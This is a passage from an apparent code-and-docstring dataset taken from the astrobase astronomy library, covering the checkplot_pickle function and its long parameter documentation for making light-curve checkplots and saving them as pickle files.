I2-I3\n            'irac3' -> Spitzer IRAC3 mag -> colors: I2-I3\n            'irac4' -> Spitzer IRAC4 mag -> colors: I3-I4\n            'wise1' -> WISE W1 mag\t -> colors: i-W1, W1-W2\n            'wise2' -> WISE W2 mag\t -> colors: W1-W2, W2-W3\n            'wise3' -> WISE W3 mag\t -> colors: W2-W3\n            'wise4' -> WISE W4 mag\t -> colors: W3-W4\n\n        If you have magnitude measurements in other bands, use the\n        `custom_bandpasses` kwarg to pass these in.\n\n        If this is None, no object information will be incorporated into the\n        checkplot (kind of making it effectively useless for anything other than\n        glancing at the phased light curves at various 'best' periods from the\n        period-finder results).\n\n    deredden_object : bool\n        If this is True, will use the 2MASS DUST service to get extinction\n        coefficients in various bands, and then try to deredden the magnitudes\n        and colors of the object already present in the checkplot's objectinfo\n        dict.\n\n    custom_bandpasses : dict\n        This is a dict used to provide custom bandpass definitions for any\n        magnitude measurements in the objectinfo dict that are not automatically\n        recognized by :py:func:`astrobase.varclass.starfeatures.color_features`.\n\n    gaia_submit_timeout : float\n        Sets the timeout in seconds to use when submitting a request to look up\n        the object's information to the GAIA service. Note that if `fast_mode`\n        is set, this is ignored.\n\n    gaia_submit_tries : int\n        Sets the maximum number of times the GAIA services will be contacted to\n        obtain this object's information. If `fast_mode` is set, this is\n        ignored, and the services will be contacted only once (meaning that a\n        failure to respond will be silently ignored and no GAIA data will be\n        added to the checkplot's objectinfo dict).\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str or None\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    complete_query_later : bool\n        If this is True, saves the state of GAIA queries that are not yet\n        complete when `gaia_max_timeout` is reached while waiting for the GAIA\n        service to respond to our request. A later call for GAIA info on the\n        same object will attempt to pick up the results from the existing query\n        if it's completed. If `fast_mode` is True, this is ignored.\n\n    varinfo : dict\n        If this is None, a blank dict of the form below will be added to the\n        checkplotdict::\n\n            {'objectisvar': None -> variability flag (None indicates unset),\n             'vartags': CSV str containing variability type tags from review,\n             'varisperiodic': None -> periodic variability flag (None -> unset),\n             'varperiod': the period associated with the periodic variability,\n             'varepoch': the epoch associated with the periodic variability}\n\n        If you provide a dict matching this format in this kwarg, this will be\n        passed unchanged to the output checkplotdict produced.\n\n    getvarfeatures : bool\n        If this is True, several light curve variability features for this\n        object will be calculated and added to the output checkpotdict as\n        checkplotdict['varinfo']['features']. This uses the function\n        `varclass.varfeatures.all_nonperiodic_features` so see its docstring for\n        the measures that are calculated (e.g. Stetson J indices, dispersion\n        measures, etc.)\n\n    lclistpkl : dict or str\n        If this is provided, must be a dict resulting from reading a catalog\n        produced by the `lcproc.catalogs.make_lclist` function or a str path\n        pointing to the pickle file produced by that function. This catalog is\n        used to find neighbors of the current object in the current light curve\n        collection. Looking at neighbors of the object within the radius\n        specified by `nbrradiusarcsec` is useful for light curves produced by\n        instruments that have a large pixel scale, so are susceptible to\n        blending of variability and potential confusion of neighbor variability\n        with that of the actual object being looked at. If this is None, no\n        neighbor lookups will be performed.\n\n    nbrradiusarcsec : flaot\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    xmatchinfo : str or dict\n        This is either the xmatch dict produced by the function\n        `load_xmatch_external_catalogs` above, or the path to the xmatch info\n        pickle file produced by that function.\n\n    xmatchradiusarcsec : float\n        This is the cross-matching radius to use in arcseconds.\n\n    lcfitfunc : Python function or None\n        If provided, this should be a Python function that is used to fit a\n        model to the light curve. This fit is then overplotted for each phased\n        light curve in the checkplot. This function should have the following\n        signature:\n\n        `def lcfitfunc(times, mags, errs, period, **lcfitparams)`\n\n        where `lcfitparams` encapsulates all external parameters (i.e. number of\n        knots for a spline function, the degree of a Legendre polynomial fit,\n        etc., planet transit parameters) This function should return a Python\n        dict with the following structure (similar to the functions in\n        `astrobase.lcfit`) and at least the keys below::\n\n            {'fittype':<str: name of fit method>,\n             'fitchisq':<float: the chi-squared value of the fit>,\n             'fitredchisq':<float: the reduced chi-squared value of the fit>,\n             'fitinfo':{'fitmags':<ndarray: model mags/fluxes from fit func>},\n             'magseries':{'times':<ndarray: times where fitmags are evaluated>}}\n\n        Additional keys in the dict returned from this function can include\n        `fitdict['fitinfo']['finalparams']` for the final model fit parameters\n        (this will be used by the checkplotserver if present),\n        `fitdict['fitinfo']['fitepoch']` for the minimum light epoch returned by\n        the model fit, among others.\n\n        In any case, the output dict of `lcfitfunc` will be copied to the output\n        checkplotdict as::\n\n            checkplotdict[lspmethod][periodind]['lcfit'][<fittype>]\n\n        for each phased light curve.\n\n    lcfitparams : dict\n        A dict containing the LC fit parameters to use when calling the function\n        provided in `lcfitfunc`. This contains key-val pairs corresponding to\n        parameter names and their respective initial values to be used by the\n        fit function.\n\n    externalplots : list of tuples of str\n        If provided, this is a list of 4-element tuples containing:\n\n        1. path to PNG of periodogram from an external period-finding method\n        2. path to PNG of best period phased LC from the external period-finder\n        3. path to PNG of 2nd-best phased LC from the external period-finder\n        4. path to PNG of 3rd-best phased LC from the external period-finder\n\n        This can be used to incorporate external period-finding method results\n        into the output checkplot pickle or exported PNG to allow for comparison\n        with astrobase results.\n\n        Example of externalplots::\n\n                [('/path/to/external/bls-periodogram.png',\n                 '/path/to/external/bls-phasedlc-plot-bestpeak.png',\n                 '/path/to/external/bls-phasedlc-plot-peak2.png',\n                 '/path/to/external/bls-phasedlc-plot-peak3.png'),\n                 ('/path/to/external/pdm-periodogram.png',\n                 '/path/to/external/pdm-phasedlc-plot-bestpeak.png',\n                 '/path/to/external/pdm-phasedlc-plot-peak2.png',\n                 '/path/to/external/pdm-phasedlc-plot-peak3.png'),\n                 ...]\n\n        If `externalplots` is provided here, these paths will be stored in the\n        output checkplotdict. The `checkplot.pkl_png.checkplot_pickle_to_png`\n        function can then automatically retrieve these plot PNGs and put\n        them into the exported checkplot PNG.\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    findercachedir : str\n        The path to the astrobase cache directory for finder chart downloads\n        from the NASA SkyView service.\n\n    normto : {'globalmedian', 'zero'} or a float\n        These are specified as below:\n        - 'globalmedian' -> norms each mag to the global median of the LC column\n        - 'zero'         -> norms each mag to zero\n        - a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    varepoch : 'min' or float or list of lists or None\n        The epoch to use for this phased light curve plot tile. If this is a\n        float, will use the provided value directly. If this is 'min', will\n        automatically figure out the time-of-minimum of the phased light\n        curve. If this is None, will use the mimimum value of `stimes` as the\n        epoch of the phased light curve plot. If this is a list of lists, will\n        use the provided value of `lspmethodind` to look up the current\n        period-finder method and the provided value of `periodind` to look up\n        the epoch associated with that method and the current period. This is\n        mostly only useful when `twolspmode` is True.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around\n        phase 0.0.\n\n    phasesort : bool\n        If True, will sort the phased light curve in order of increasing phase.\n\n    phasebin: float\n        The bin size to use to group together measurements closer than this\n        amount in phase. This is in units of phase. If this is a float, a\n        phase-binned version of the phased light curve will be overplotted on\n        top of the regular phased light curve.\n\n    minbinelems : int\n        The minimum number of elements required per phase bin to include it in\n        the phased LC plot.\n\n    plotxlim : sequence of two floats or None\n        The x-range (min, max) of the phased light curve plot. If None, will be\n        determined automatically.\n\n    xliminsetmode : bool\n        If this is True, the generated phased light curve plot will use the\n        values of `plotxlim` as the main plot x-axis limits (i.e. zoomed-in if\n        `plotxlim` is a range smaller than the full phase range), and will show\n        the full phased light curve plot as an smaller inset. Useful for\n        planetary transit light curves.\n\n    plotdpi : int\n        The resolution of the output plot PNGs in dots per inch.\n\n    bestperiodhighlight : str or None\n        If not None, this is a str with a matplotlib color specification to use\n        as the background color to highlight the phased light curve plot of the\n        'best' period and epoch combination. If None, no highlight will be\n        applied.\n\n    xgridlines : list of floats or None\n        If this is provided, must be a list of floats corresponding to the phase\n        values where to draw vertical dashed lines as a means of highlighting\n        these.\n\n    mindet : int\n        The minimum of observations the input object's mag/flux time-series must\n        have for this function to plot its light curve and phased light\n        curve. If the object has less than this number, no light curves will be\n        plotted, but the checkplotdict will still contain all of the other\n        information.\n\n    verbose : bool\n        If True, will indicate progress and warn about problems.\n\n    Returns\n    -------\n\n    dict\n        Returns a checkplotdict.", "id": "f14725:m0"}
{"signature": "def checkplot_pickle(<EOL>lspinfolist,<EOL>times,<EOL>mags,<EOL>errs,<EOL>fast_mode=False,<EOL>magsarefluxes=False,<EOL>nperiodstouse=<NUM_LIT:3>,<EOL>objectinfo=None,<EOL>deredden_object=True,<EOL>custom_bandpasses=None,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>complete_query_later=True,<EOL>varinfo=None,<EOL>getvarfeatures=True,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>xmatchinfo=None,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>lcfitfunc=None,<EOL>lcfitparams=None,<EOL>externalplots=None,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>findercachedir='<STR_LIT>',<EOL>normto='<STR_LIT>',<EOL>normmingap=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>varepoch='<STR_LIT>',<EOL>phasewrap=True,<EOL>phasesort=True,<EOL>phasebin=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>,<EOL>plotxlim=(-<NUM_LIT>,<NUM_LIT>),<EOL>xliminsetmode=False,<EOL>plotdpi=<NUM_LIT:100>,<EOL>bestperiodhighlight=None,<EOL>xgridlines=None,<EOL>mindet=<NUM_LIT>,<EOL>verbose=True,<EOL>outfile=None,<EOL>outgzip=False,<EOL>pickleprotocol=None,<EOL>returndict=False<EOL>):", "body": "<EOL>checkplotdict = checkplot_dict(<EOL>lspinfolist,<EOL>times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>nperiodstouse=nperiodstouse,<EOL>objectinfo=objectinfo,<EOL>deredden_object=deredden_object,<EOL>custom_bandpasses=custom_bandpasses,<EOL>gaia_submit_timeout=gaia_submit_timeout,<EOL>gaia_submit_tries=gaia_submit_tries,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>complete_query_later=complete_query_later,<EOL>varinfo=varinfo,<EOL>getvarfeatures=getvarfeatures,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>xmatchinfo=xmatchinfo,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>lcfitfunc=lcfitfunc,<EOL>lcfitparams=lcfitparams,<EOL>externalplots=externalplots,<EOL>findercmap=findercmap,<EOL>finderconvolve=finderconvolve,<EOL>findercachedir=findercachedir,<EOL>normto=normto,<EOL>normmingap=normmingap,<EOL>sigclip=sigclip,<EOL>varepoch=varepoch,<EOL>phasewrap=phasewrap,<EOL>phasesort=phasesort,<EOL>phasebin=phasebin,<EOL>minbinelems=minbinelems,<EOL>plotxlim=plotxlim,<EOL>xliminsetmode=xliminsetmode,<EOL>plotdpi=plotdpi,<EOL>bestperiodhighlight=bestperiodhighlight,<EOL>xgridlines=xgridlines,<EOL>mindet=mindet,<EOL>verbose=verbose,<EOL>fast_mode=fast_mode<EOL>)<EOL>if ((sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] >= (<NUM_LIT:3>,<NUM_LIT:4>) and not pickleprotocol) or<EOL>(pickleprotocol > <NUM_LIT:2>)):<EOL><INDENT>pickleprotocol = <NUM_LIT:4><EOL><DEDENT>elif ((sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] >= (<NUM_LIT:3>,<NUM_LIT:0>) and not pickleprotocol) or<EOL>(pickleprotocol > <NUM_LIT:2>)):<EOL><INDENT>pickleprotocol = <NUM_LIT:3><EOL><DEDENT>elif sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] == (<NUM_LIT:2>,<NUM_LIT:7>) and not pickleprotocol:<EOL><INDENT>pickleprotocol = <NUM_LIT:2><EOL><DEDENT>elif not pickleprotocol:<EOL><INDENT>pickleprotocol = <NUM_LIT:0><EOL><DEDENT>if outgzip:<EOL><INDENT>if (not outfile and<EOL>len(lspinfolist) > <NUM_LIT:0> and<EOL>isinstance(lspinfolist[<NUM_LIT:0>], str)):<EOL><INDENT>plotfpath = os.path.join(os.path.dirname(lspinfolist[<NUM_LIT:0>]),<EOL>'<STR_LIT>' %<EOL>checkplotdict['<STR_LIT>'])<EOL><DEDENT>elif outfile:<EOL><INDENT>plotfpath = outfile<EOL><DEDENT>else:<EOL><INDENT>plotfpath = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (not outfile and<EOL>len(lspinfolist) > <NUM_LIT:0> and<EOL>isinstance(lspinfolist[<NUM_LIT:0>], str)):<EOL><INDENT>plotfpath = os.path.join(os.path.dirname(lspinfolist[<NUM_LIT:0>]),<EOL>'<STR_LIT>' %<EOL>checkplotdict['<STR_LIT>'])<EOL><DEDENT>elif outfile:<EOL><INDENT>plotfpath = outfile<EOL><DEDENT>else:<EOL><INDENT>plotfpath = '<STR_LIT>'<EOL><DEDENT><DEDENT>picklefname = _write_checkplot_picklefile(checkplotdict,<EOL>outfile=plotfpath,<EOL>protocol=pickleprotocol,<EOL>outgzip=outgzip)<EOL>if returndict:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % picklefname)<EOL><DEDENT>return checkplotdict, picklefname<EOL><DEDENT>else:<EOL><INDENT>del checkplotdict<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % picklefname)<EOL><DEDENT>return picklefname<EOL><DEDENT>", "docstring": "This writes a multiple lspinfo checkplot to a (gzipped) pickle file.\n\n    This function can take input from multiple lspinfo dicts (e.g. a list of\n    output dicts or gzipped pickles of dicts from independent runs of BLS, PDM,\n    AoV, or GLS period-finders in periodbase).\n\n    NOTE: if `lspinfolist` contains more than one lspinfo object with the same\n    lspmethod ('pdm','gls','sls','aov','bls'), the latest one in the list will\n    overwrite the earlier ones.\n\n    The output dict contains all the plots (magseries and phased magseries),\n    periodograms, object information, variability information, light curves, and\n    phased light curves. This can be written to:\n\n    - a pickle with `checkplot_pickle` below\n    - a PNG with `checkplot.pkl_png.checkplot_pickle_to_png`\n\n    Parameters\n    ----------\n\n    lspinfolist : list of dicts\n        This is a list of dicts containing period-finder results ('lspinfo'\n        dicts). These can be from any of the period-finder methods in\n        astrobase.periodbase. To incorporate external period-finder results into\n        checkplots, these dicts must be of the form below, including at least\n        the keys indicated here::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above}\n\n        `nbestperiods` and `nbestlspvals` in each lspinfo dict must have at\n        least as many elements as the `nperiodstouse` kwarg to this function.\n\n    times,mags,errs : np.arrays\n        The magnitude/flux time-series to process for this checkplot along with\n        their associated measurement errors.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond.\n\n        If this is set to True, the default settings for the external requests\n        will then become::\n\n            skyview_lookup = False\n            skyview_timeout = 10.0\n            skyview_retry_failed = False\n            dust_timeout = 10.0\n            gaia_submit_timeout = 7.0\n            gaia_max_timeout = 10.0\n            gaia_submit_tries = 2\n            complete_query_later = False\n            search_simbad = False\n\n        If this is a float, will run in \"fast\" mode with the provided timeout\n        value in seconds and the following settings::\n\n            skyview_lookup = True\n            skyview_timeout = fast_mode\n            skyview_retry_failed = False\n            dust_timeout = fast_mode\n            gaia_submit_timeout = 0.66*fast_mode\n            gaia_max_timeout = fast_mode\n            gaia_submit_tries = 2\n            complete_query_later = False\n            search_simbad = False\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    nperiodstouse : int\n        This controls how many 'best' periods to make phased LC plots for. By\n        default, this is the 3 best. If this is set to None, all 'best' periods\n        present in each lspinfo dict's 'nbestperiods' key will be processed for\n        this checkplot.\n\n    objectinfo : dict or None\n        If provided, this is a dict containing information on the object whose\n        light curve is being processed. This function will then be able to look\n        up and download a finder chart for this object and write that to the\n        output checkplotdict. External services such as GAIA, SIMBAD, TIC@MAST,\n        etc. will also be used to look up this object by its coordinates, and\n        will add in information available from those services.\n\n        The `objectinfo` dict must be of the form and contain at least the keys\n        described below::\n\n            {'objectid': the name of the object,\n             'ra': the right ascension of the object in decimal degrees,\n             'decl': the declination of the object in decimal degrees,\n             'ndet': the number of observations of this object}\n\n        You can also provide magnitudes and proper motions of the object using\n        the following keys and the appropriate values in the `objectinfo`\n        dict. These will be used to calculate colors, total and reduced proper\n        motion, etc. and display these in the output checkplot PNG::\n\n            'pmra' -> the proper motion in mas/yr in right ascension,\n            'pmdecl' -> the proper motion in mas/yr in the declination,\n            'umag'  -> U mag\t\t -> colors: U-B, U-V, U-g\n            'bmag'  -> B mag\t\t -> colors: U-B, B-V\n            'vmag'  -> V mag\t\t -> colors: U-V, B-V, V-R, V-I, V-K\n            'rmag'  -> R mag\t\t -> colors: V-R, R-I\n            'imag'  -> I mag\t\t -> colors: g-I, V-I, R-I, B-I\n            'jmag'  -> 2MASS J mag\t -> colors: J-H, J-K, g-J, i-J\n            'hmag'  -> 2MASS H mag\t -> colors: J-H, H-K\n            'kmag'  -> 2MASS Ks mag\t -> colors: g-Ks, H-Ks, J-Ks, V-Ks\n            'sdssu' -> SDSS u mag\t -> colors: u-g, u-V\n            'sdssg' -> SDSS g mag\t -> colors: g-r, g-i, g-K, u-g, U-g, g-J\n            'sdssr' -> SDSS r mag\t -> colors: r-i, g-r\n            'sdssi' -> SDSS i mag\t -> colors: r-i, i-z, g-i, i-J, i-W1\n            'sdssz' -> SDSS z mag\t -> colors: i-z, z-W2, g-z\n            'ujmag' -> UKIRT J mag\t -> colors: J-H, H-K, J-K, g-J, i-J\n            'uhmag' -> UKIRT H mag\t -> colors: J-H, H-K\n            'ukmag' -> UKIRT K mag\t -> colors: g-K, H-K, J-K, V-K\n            'irac1' -> Spitzer IRAC1 mag -> colors: i-I1, I1-I2\n            'irac2' -> Spitzer IRAC2 mag -> colors: I1-I2, I2-I3\n            'irac3' -> Spitzer IRAC3 mag -> colors: I2-I3\n            'irac4' -> Spitzer IRAC4 mag -> colors: I3-I4\n            'wise1' -> WISE W1 mag\t -> colors: i-W1, W1-W2\n            'wise2' -> WISE W2 mag\t -> colors: W1-W2, W2-W3\n            'wise3' -> WISE W3 mag\t -> colors: W2-W3\n            'wise4' -> WISE W4 mag\t -> colors: W3-W4\n\n        If you have magnitude measurements in other bands, use the\n        `custom_bandpasses` kwarg to pass these in.\n\n        If this is None, no object information will be incorporated into the\n        checkplot (kind of making it effectively useless for anything other than\n        glancing at the phased light curves at various 'best' periods from the\n        period-finder results).\n\n    deredden_object : bool\n        If this is True, will use the 2MASS DUST service to get extinction\n        coefficients in various bands, and then try to deredden the magnitudes\n        and colors of the object already present in the checkplot's objectinfo\n        dict.\n\n    custom_bandpasses : dict\n        This is a dict used to provide custom bandpass definitions for any\n        magnitude measurements in the objectinfo dict that are not automatically\n        recognized by :py:func:`astrobase.varclass.starfeatures.color_features`.\n\n    gaia_submit_timeout : float\n        Sets the timeout in seconds to use when submitting a request to look up\n        the object's information to the GAIA service. Note that if `fast_mode`\n        is set, this is ignored.\n\n    gaia_submit_tries : int\n        Sets the maximum number of times the GAIA services will be contacted to\n        obtain this object's information. If `fast_mode` is set, this is\n        ignored, and the services will be contacted only once (meaning that a\n        failure to respond will be silently ignored and no GAIA data will be\n        added to the checkplot's objectinfo dict).\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str or None\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    complete_query_later : bool\n        If this is True, saves the state of GAIA queries that are not yet\n        complete when `gaia_max_timeout` is reached while waiting for the GAIA\n        service to respond to our request. A later call for GAIA info on the\n        same object will attempt to pick up the results from the existing query\n        if it's completed. If `fast_mode` is True, this is ignored.\n\n    varinfo : dict\n        If this is None, a blank dict of the form below will be added to the\n        checkplotdict::\n\n            {'objectisvar': None -> variability flag (None indicates unset),\n             'vartags': CSV str containing variability type tags from review,\n             'varisperiodic': None -> periodic variability flag (None -> unset),\n             'varperiod': the period associated with the periodic variability,\n             'varepoch': the epoch associated with the periodic variability}\n\n        If you provide a dict matching this format in this kwarg, this will be\n        passed unchanged to the output checkplotdict produced.\n\n    getvarfeatures : bool\n        If this is True, several light curve variability features for this\n        object will be calculated and added to the output checkpotdict as\n        checkplotdict['varinfo']['features']. This uses the function\n        `varclass.varfeatures.all_nonperiodic_features` so see its docstring for\n        the measures that are calculated (e.g. Stetson J indices, dispersion\n        measures, etc.)\n\n    lclistpkl : dict or str\n        If this is provided, must be a dict resulting from reading a catalog\n        produced by the `lcproc.catalogs.make_lclist` function or a str path\n        pointing to the pickle file produced by that function. This catalog is\n        used to find neighbors of the current object in the current light curve\n        collection. Looking at neighbors of the object within the radius\n        specified by `nbrradiusarcsec` is useful for light curves produced by\n        instruments that have a large pixel scale, so are susceptible to\n        blending of variability and potential confusion of neighbor variability\n        with that of the actual object being looked at. If this is None, no\n        neighbor lookups will be performed.\n\n    nbrradiusarcsec : flaot\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    xmatchinfo : str or dict\n        This is either the xmatch dict produced by the function\n        `load_xmatch_external_catalogs` above, or the path to the xmatch info\n        pickle file produced by that function.\n\n    xmatchradiusarcsec : float\n        This is the cross-matching radius to use in arcseconds.\n\n    lcfitfunc : Python function or None\n        If provided, this should be a Python function that is used to fit a\n        model to the light curve. This fit is then overplotted for each phased\n        light curve in the checkplot. This function should have the following\n        signature:\n\n        `def lcfitfunc(times, mags, errs, period, **lcfitparams)`\n\n        where `lcfitparams` encapsulates all external parameters (i.e. number of\n        knots for a spline function, the degree of a Legendre polynomial fit,\n        etc., planet transit parameters) This function should return a Python\n        dict with the following structure (similar to the functions in\n        `astrobase.lcfit`) and at least the keys below::\n\n            {'fittype':<str: name of fit method>,\n             'fitchisq':<float: the chi-squared value of the fit>,\n             'fitredchisq':<float: the reduced chi-squared value of the fit>,\n             'fitinfo':{'fitmags':<ndarray: model mags/fluxes from fit func>},\n             'magseries':{'times':<ndarray: times where fitmags are evaluated>}}\n\n        Additional keys in the dict returned from this function can include\n        `fitdict['fitinfo']['finalparams']` for the final model fit parameters\n        (this will be used by the checkplotserver if present),\n        `fitdict['fitinfo']['fitepoch']` for the minimum light epoch returned by\n        the model fit, among others.\n\n        In any case, the output dict of `lcfitfunc` will be copied to the output\n        checkplotdict as\n        `checkplotdict[lspmethod][periodind]['lcfit'][<fittype>]` for each\n        phased light curve.\n\n    lcfitparams : dict\n        A dict containing the LC fit parameters to use when calling the function\n        provided in `lcfitfunc`. This contains key-val pairs corresponding to\n        parameter names and their respective initial values to be used by the\n        fit function.\n\n    externalplots : list of tuples of str\n        If provided, this is a list of 4-element tuples containing:\n\n        1. path to PNG of periodogram from an external period-finding method\n        2. path to PNG of best period phased LC from the external period-finder\n        3. path to PNG of 2nd-best phased LC from the external period-finder\n        4. path to PNG of 3rd-best phased LC from the external period-finder\n\n        This can be used to incorporate external period-finding method results\n        into the output checkplot pickle or exported PNG to allow for comparison\n        with astrobase results. Example of `externalplots`::\n\n            [('/path/to/external/bls-periodogram.png',\n              '/path/to/external/bls-phasedlc-plot-bestpeak.png',\n              '/path/to/external/bls-phasedlc-plot-peak2.png',\n              '/path/to/external/bls-phasedlc-plot-peak3.png'),\n             ('/path/to/external/pdm-periodogram.png',\n              '/path/to/external/pdm-phasedlc-plot-bestpeak.png',\n              '/path/to/external/pdm-phasedlc-plot-peak2.png',\n              '/path/to/external/pdm-phasedlc-plot-peak3.png'),\n             ...]\n\n        If `externalplots` is provided here, these paths will be stored in the\n        output checkplotdict. The `checkplot.pkl_png.checkplot_pickle_to_png`\n        function can then automatically retrieve these plot PNGs and put\n        them into the exported checkplot PNG.\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    findercachedir : str\n        The path to the astrobase cache directory for finder chart downloads\n        from the NASA SkyView service.\n\n    normto : {'globalmedian', 'zero'} or a float\n        This specifies the normalization target::\n\n            'globalmedian' -> norms each mag to global median of the LC column\n            'zero'         -> norms each mag to zero\n            a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    varepoch : 'min' or float or list of lists or None\n        The epoch to use for this phased light curve plot tile. If this is a\n        float, will use the provided value directly. If this is 'min', will\n        automatically figure out the time-of-minimum of the phased light\n        curve. If this is None, will use the mimimum value of `stimes` as the\n        epoch of the phased light curve plot. If this is a list of lists, will\n        use the provided value of `lspmethodind` to look up the current\n        period-finder method and the provided value of `periodind` to look up\n        the epoch associated with that method and the current period. This is\n        mostly only useful when `twolspmode` is True.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around\n        phase 0.0.\n\n    phasesort : bool\n        If True, will sort the phased light curve in order of increasing phase.\n\n    phasebin: float\n        The bin size to use to group together measurements closer than this\n        amount in phase. This is in units of phase. If this is a float, a\n        phase-binned version of the phased light curve will be overplotted on\n        top of the regular phased light curve.\n\n    minbinelems : int\n        The minimum number of elements required per phase bin to include it in\n        the phased LC plot.\n\n    plotxlim : sequence of two floats or None\n        The x-range (min, max) of the phased light curve plot. If None, will be\n        determined automatically.\n\n    xliminsetmode : bool\n        If this is True, the generated phased light curve plot will use the\n        values of `plotxlim` as the main plot x-axis limits (i.e. zoomed-in if\n        `plotxlim` is a range smaller than the full phase range), and will show\n        the full phased light curve plot as an smaller inset. Useful for\n        planetary transit light curves.\n\n    plotdpi : int\n        The resolution of the output plot PNGs in dots per inch.\n\n    bestperiodhighlight : str or None\n        If not None, this is a str with a matplotlib color specification to use\n        as the background color to highlight the phased light curve plot of the\n        'best' period and epoch combination. If None, no highlight will be\n        applied.\n\n    xgridlines : list of floats or None\n        If this is provided, must be a list of floats corresponding to the phase\n        values where to draw vertical dashed lines as a means of highlighting\n        these.\n\n    mindet : int\n        The minimum of observations the input object's mag/flux time-series must\n        have for this function to plot its light curve and phased light\n        curve. If the object has less than this number, no light curves will be\n        plotted, but the checkplotdict will still contain all of the other\n        information.\n\n    verbose : bool\n        If True, will indicate progress and warn about problems.\n\n    outfile : str or None\n        The name of the output checkplot pickle file. If this is None, will\n        write the checkplot pickle to file called 